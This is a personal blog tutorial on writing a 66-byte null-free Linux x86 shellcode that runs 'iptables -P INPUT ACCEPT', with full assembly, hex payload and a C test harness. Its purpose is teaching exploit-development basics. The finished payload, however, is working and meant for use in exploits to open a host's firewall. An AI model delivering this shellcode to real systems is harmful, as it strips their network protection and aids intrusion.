I've recently started to look into basic application security concepts using the imho excellent material from OpenSecurityTraining.info. In this blogpost I'd like to share my first piece of shellcode executing iptables -P INPUT ACCEPT .

Background

After practically learning how to exploit a simple stackoverflow I wanted to see if I could write my own shellcode. I somehow came across the shellcode repository at shell-storm.org and wanted to develop something that wasn't already in there and is somehow useful.

There are multiple entries which execute iptables -F . However, as far as I know, this only flushes all rules from all tables, but doesn't change the default policies. So it may drop all rules, but if a server's default policy is DROP you'll cut the machine off the internet. Mission failed.

My idea was to write a piece of shellcode that would change the default policy of the INPUT chain to ACCEPT , i.e. run iptables -P INPUT ACCEPT .

Writing shellcode

First of all, I'd like to say that I'm not an 1337 sh3llc0d3 3Xp3rt. I read about some basics and tried to understand other people's shellcode and their tricks. So feedback is very welcome! Simply leave a comment or send me an e-mail.

The goal is to run /sbin/iptables -P INPUT ACCEPT . At this point we assume that the exploited application has enough privileges to execute this command. Otherwise you might want to add some setuid(0) code or so.

execve is a common choice if you want to execute foreign binaries with specific parameters. man 3 execve gives us some more information:

int execve(const char *path, char *const argv[], char *const envp[]); [...] The argv and environ arrays are each terminated by a null pointer. [...] The argument argv is an array of character pointers to null-terminated strings. The application shall ensure that the last member of this array is a null pointer. These strings shall constitute the argument list available to the new process image. The value in argv[0] should point to a filename string that is associated with the process being started by one of the exec functions. The argument envp is an array of character pointers to null-terminated strings. These strings shall constitute the environment for the new process image. The envp array is terminated by a null pointer.

That means that we want to write shellcode that represents

execve('/sbin/iptables', ['/sbin/iptables', '-P', 'INPUT', 'ACCEPT'], NULL)

We don't need the envp variable and thus pass a NULL pointer.

Now that we have an idea what to do, we can start with our assembly code. The shellcode.asm starts with two definitions:

section .text defines the code section.

defines the code section. global _start defines the entry point of our application.

Both isn't really necessary for the shellcode itself, but will help us to compile, link and execute (read: test) our shellcode later.

;Runs /sbin/iptables -P INPUT ACCEPT section .text global _start _start:

The next step is to think of a way to assemble our arguments to execve on the stack:

/sbin/iptables

-P

INPUT

ACCEPT

We'll build the strings dynamically on the stack because using static strings (e.g. in a .data section) would require hardcoded addresses in our shellcode and that might break most exploits.

So the first thing we need is a NULL byte to terminate the string. The easiest way to get 0 into a register is xor , because a ^ a = 0 :

xor edx, edx ; edx = 0

We use the edx register for our NULL byte, because we can reuse it as the NULL pointer for the third argument ( envp ) of execve .

Let's continue to build /sbin/iptables on the stack:

push edx ; /sbin///iptables push 0x73656c62 ; selb push 0x61747069 ; atpi push 0x2f2f2f6e ; ///n push 0x6962732f ; ibs/ mov ebx, esp

An attentive reader may have noticed the additional / in the /sbin///iptables string. That's because we have to take care of nullbytes in the shellcode. More about that later. Linux ignores consecutive slashes in paths and treats them as one.

As we know, the stack grows top-down, but execve will read it bottom-up. That's why we push the NULL -byte ( edx ) first and the string needs to be reversed. A simple python function will help us:

def stack_str(s): rev = s[::-1] return rev.encode('hex') >>> stack_str('/sbin///iptables') '73656c62617470692f2f2f6e6962732f'

This hex string can be splitted into 4-byte blocks (8 hex characters) and then pushed on the stack. As a last step we save a pointer to the first argument in ebx by copying the current address of esp . We use ebx because the path to the executable is the second argument to execve .

We repeat this step for all arguments. However, we need one more trick for arguments that can't be aligned to a multiple of four. This is the case for the -P argument:

>>> len('-P') % 4 2 >>> stack_str('-P') '502d'

The problem with not-4-byte-aligned values is that the compiler will fill the remaining bytes with zeroes:

$> rasm2 -a x86 -b 32 'push 0x502d' 682d500000 68 2d 50 00 00 push $0x502d

Nullbytes ( 0x0 ) or newlines ( 0xa ) usually work as strings terminators in C and thus can't be used in the shellcode without breaking it.

That's why we don't want to use push 0x502d , but a minor workaround to write 0x502d into eax before pushing it. We append four arbitrary hex values (e.g. 0xffff , 2 bytes) to our hex encoded string and move it into eax :

mov eax, 0x502dffff

followed by a right shift of 0x10 (16 bits, 2 bytes) to get rid of the additional ffff :

shr eax, 0x10

We can check if everything is correct with:

>>> hex(0x502dfff >> 0x10) '0x502'

and

$> rasm2 -a x86 -b 32 'mov eax, 0x502dffff;shr eax, 0x10' b8ffff2d50c1e810

Now we can push the correct value without breaking our shellcode!

Let's put the second block together:

push edx ; -P mov eax, 0x502dffff shr eax, 0x10 push eax mov eax, esp

This time we save the address to -P ( esp ) in eax .

The last two arguments ( INPUT , ACCEPT ) follow a similar procedure:

push edx ; INPUT mov ecx, 0x54ffffff shr ecx, 0x18 push ecx push 0x55504e49 mov ecx, esp push edx ; ACCEPT mov esi, 0x5450ffff shr esi, 0x10 push esi push 0x45434341 mov esi, esp

The address for INPUT is in ecx and ACCEPT can be reached with esi .

At this point most of the hard work is done, so let's see what we've got so far:

NULL -byte in edx (3rd argument of execve )

-byte in (3rd argument of ) eax points to -P (1st argument of iptables )

points to (1st argument of ) ebx points to /sbin///iptables (1st argument of execve )

points to (1st argument of ) ecx points to INPUT (2nd argument of iptables )

points to (2nd argument of ) esi points to ACCEPT (3rd argument of iptables )

That's everything we need to build our NULL -terminated argv array. We simply push the addresses in the correct order onto the stack:

push edx ; 0 push esi ; ACCEPT push ecx ; INPUT push eax ; -P push ebx ; /sbin/iptables mov ecx, esp

As we don't need the reference to INPUT anymore, we can overwrite ecx with the address to the argv array, because that will be the second argument of execve

The final step is to issue the execve syscall with the following parameters:

eax : Syscall-ID

: Syscall-ID ebx : Address to /sbin///iptables

: Address to ecx : Address to the argv array

: Address to the array edx : NULL -pointer for the envp

push 0xb ; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL) pop eax int 0x80

In the above block we use a combination of push and pop to avoid NULL bytes in our shellcode by clearing the higher bits of the eax register and placing the 0xb ( execve ) syscall-ID into it at the same time.

You can find the appropiate syscall-ID in the /usr/include/asm/unistd_32.h header file:

$> grep execve /usr/include/asm/unistd_32.h #define __NR_execve 11

Here's the the full shellcode so far:

section .text global _start _start: xor edx, edx ; edx = 0 push edx ; /sbin///iptables push 0x73656c62 push 0x61747069 push 0x2f2f2f6e push 0x6962732f mov ebx, esp push edx ; -P mov eax, 0x502dffff shr eax, 0x10 push eax mov eax, esp push edx ; INPUT mov ecx, 0x54ffffff shr ecx, 0x18 push ecx push 0x55504e49 mov ecx, esp push edx ; ACCEPT mov esi, 0x5450ffff shr esi, 0x10 push esi push 0x45434341 mov esi, esp push edx ; 0 push esi ; ACCEPT push ecx ; INPUT push eax ; -P push ebx ; /sbin/iptables mov ecx, esp push 0xb ; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL) pop eax int 0x80

We can add some more instructions at the bottom to cleanly exit the test program:

;exit(0) mov al,1 ; exit xor ebx, ebx ; 0 int 0x80

Testing the shellcode

If we did everyhting right, we should be able to compile and run our assembly program:

$> nasm -f elf shellcode.asm $> ld -m elf_i386 -s -o shellcode shellcode.o

I'm running a 64-bit linux and want to compile x86 assembly, and that's why I have to set -m elf_i386 switch.

We can then use objdump -d shellcode to verify that our shellcode does not contain any string terminators:

shellcode: file format elf32-i386 Disassembly of section .text: 08048060 <.text>: 8048060: 31 d2 xor %edx,%edx 8048062: 52 push %edx 8048063: 68 62 6c 65 73 push $0x73656c62 8048068: 68 69 70 74 61 push $0x61747069 804806d: 68 6e 2f 2f 2f push $0x2f2f2f6e 8048072: 68 2f 73 62 69 push $0x6962732f 8048077: 89 e3 mov %esp,%ebx 8048079: 52 push %edx 804807a: b8 ff ff 2d 50 mov $0x502dffff,%eax 804807f: c1 e8 10 shr $0x10,%eax 8048082: 50 push %eax 8048083: 89 e0 mov %esp,%eax 8048085: 52 push %edx 8048086: b9 ff ff ff 54 mov $0x54ffffff,%ecx 804808b: c1 e9 18 shr $0x18,%ecx 804808e: 51 push %ecx 804808f: 68 49 4e 50 55 push $0x55504e49 8048094: 89 e1 mov %esp,%ecx 8048096: 52 push %edx 8048097: be ff ff 50 54 mov $0x5450ffff,%esi 804809c: c1 ee 10 shr $0x10,%esi 804809f: 56 push %esi 80480a0: 68 41 43 43 45 push $0x45434341 80480a5: 89 e6 mov %esp,%esi 80480a7: 52 push %edx 80480a8: 56 push %esi 80480a9: 51 push %ecx 80480aa: 50 push %eax 80480ab: 53 push %ebx 80480ac: 89 e1 mov %esp,%ecx 80480ae: 6a 0b push $0xb 80480b0: 58 pop %eax 80480b1: cd 80 int $0x80 80480b3: b0 01 mov $0x1,%al 80480b5: 31 db xor %ebx,%ebx 80480b7: cd 80 int $0x80

If you're brave enough, you can execute the compiled binary:

$> sudo iptables -L -vn Chain INPUT (policy DROP 0 packets, 0 bytes) $> sudo shellcode $> sudo iptables -L -vn Chain INPUT (policy ACCEPT 0 packets, 0 bytes)

A quick google search for "objdump to shellcode" leads to a nice commandlinefu trick which helps us to transform the instructions into an usable representation:

(Tipp: Remove the 'exit' assembly code and recompile the binary before doing this)

$> for i in `objdump -d shellcode | tr '\t' ' ' | tr ' ' '

' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done \x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\xb8\xff\xff\x2d\x50\xc1\xe8\x10\x50\x89\xe0\x52\xb9\xff\xff\xff\x54\xc1\xe9\x18\x51\x68\x49\x4e\x50\x55\x89\xe1\x52\xbe\xff\xff\x50\x54\xc1\xee\x10\x56\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80

Counting bytes

Usually one doesn't have a lot of space for a payload, so shrinking the shellcode to the smallest possible amount of bytes is desired. Our current version is 83 bytes long:

>>> len("\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\xb8\xff\xff\x2d\x50\xc1\xe8\x10\x50\x89\xe0\x52\xb9\xff\xff\xff\x54\xc1\xe9\x18\x51\x68\x49\x4e\x50\x55\x89\xe1\x52\xbe\xff\xff\x50\x54\xc1\xee\x10\x56\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80") 83

So let's see if we can optimize our shellcode somewhere. With my limited knowledge we can optimize the push instructions for all "uneven" parameters -P , INPUT and ACCEPT by splitting it up in 4-byte blocks and then using push word or push byte to push the rest:

push edx push word 0x502d ; -P mov eax, esp push edx ; INPUT push byte 0x54 push 0x55504e49 mov ecx, esp push edx ; ACCEPT push word 0x5450 push 0x45434341 mov esi, esp

Note that push byte nor push word seem to be a valid mnemonics in x86, but nasm seems to understand what we want to do.

The resulting shellcode is a bit shorter and still doesn't contain any nullbytes:

66 68 2d 50 pushw $0x502d 6a 54 push $0x54 66 68 50 54 pushw $0x5450

The resulting shellcode is 17 bytes shorter:

>>> len("\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\x66\x68\x2d\x50\x89\xe0\x52\x6a\x54\x68\x49\x4e\x50\x55\x89\xe1\x52\x66\x68\x50\x54\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80") 66

A common way to share shellcode is putting it into a small c programm:

/* Title: Linux/x86 - execve("/sbin/iptables", ["/sbin/iptables", "-P", "INPUT", "ACCEPT"], NULL) - 66 bytes Author: @gehaxelt <hi[at]gehaxelt[dot]in> Date: Sa 28. Mai 13:00:37 CET 2016 Source Code (NASM): global _start _start: xor edx, edx ; edx = 0 push edx ; /sbin///iptables push 0x73656c62 push 0x61747069 push 0x2f2f2f6e push 0x6962732f mov ebx, esp push edx push word 0x502d ; -P mov eax, esp push edx ; INPUT push byte 0x54 push 0x55504e49 mov ecx, esp push edx ; ACCEPT push word 0x5450 push 0x45434341 mov esi, esp push edx ; 0 push esi ; ACCEPT push ecx ; INPUT push eax ; -P push ebx ; /sbin/iptables mov ecx, esp push 0xb ; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL) pop eax int 0x80 */ #include <stdio.h> char shellcode[] = "\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e" "\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\x66\x68\x2d\x50" "\x89\xe0\x52\x6a\x54\x68\x49\x4e\x50\x55\x89\xe1\x52\x66\x68" "\x50\x54\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89" "\xe1\x6a\x0b\x58\xcd\x80"; int main() { printf("Length: %d bytes.

", strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }

Compile it with

$> gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c

Conclusion

Writing shellcode is a bit easier than I thought, although I think that reducing a shellcode's length is the real (and fun) challenge. I also hope that I didn't make any mistakes above and that the result is usable in some way.

Code golfing

Do you know other tricks to shorten the shellcode? The attentive reader should find at least one more way to shorten the shellcode.

Send me an email to shellcode [4t] 0day.work or tweet @0daywork with your version.

Ranking

-=-